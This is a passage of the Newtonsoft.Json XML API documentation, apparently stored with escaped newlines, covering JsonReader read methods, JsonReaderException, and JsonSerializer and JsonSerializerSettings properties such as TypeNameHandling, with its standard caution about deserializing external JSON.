an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see 